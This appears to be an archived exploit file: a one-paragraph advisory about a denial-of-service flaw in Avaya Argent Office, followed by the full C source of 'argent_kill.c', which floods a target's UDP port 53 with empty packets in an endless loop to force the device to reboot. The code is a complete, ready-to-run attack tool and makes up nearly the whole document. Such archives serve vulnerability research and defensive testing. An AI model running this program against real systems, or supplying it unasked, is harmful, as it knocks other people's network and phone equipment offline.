38 lines
No EOL
1.1 KiB
C
38 lines
No EOL
1.1 KiB
C
// source: https://www.securityfocus.com/bid/8976/info
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It has been reported that Avaya Argent Office is prone to a denial of service condition when handling malformed DNS packets. The problem is said to occur when a DNS packet with no payload is handled. Receiving the packet is said to cause the device to reboot.
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/* argent_kill.c
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(c) 2001 Jacek Lipkowski sq5bpf acid ch pw edu pl
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Reboots an Argent Office box by sending udp packets with no payload to port 53
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usage: argent_kill ip_address
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*/
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#include <stdio.h>
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#include <string.h>
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#include <netdb.h>
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#include <netinet/in.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <unistd.h>
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main(int argc, char *argv[])
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{
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struct sockaddr_in addr;
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struct hostent *host;
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int s;
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s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if (s==-1) { perror("socket()"); exit(1); }
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host=gethostbyname(argv[1]);
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if (host==0) { herror("gethostbyname"); exit(1); }
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memcpy(&addr.sin_addr,host->h_addr,host->h_length);
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addr.sin_port=htons(53);
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addr.sin_family=AF_INET;
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if (connect(s,&addr,16)==-1) { perror("connect()"); exit(1); }
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for (;;)
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{
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send(s,0,0,0); sleep(1); printf("."); fflush(stdout);
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}
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close(s);
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} |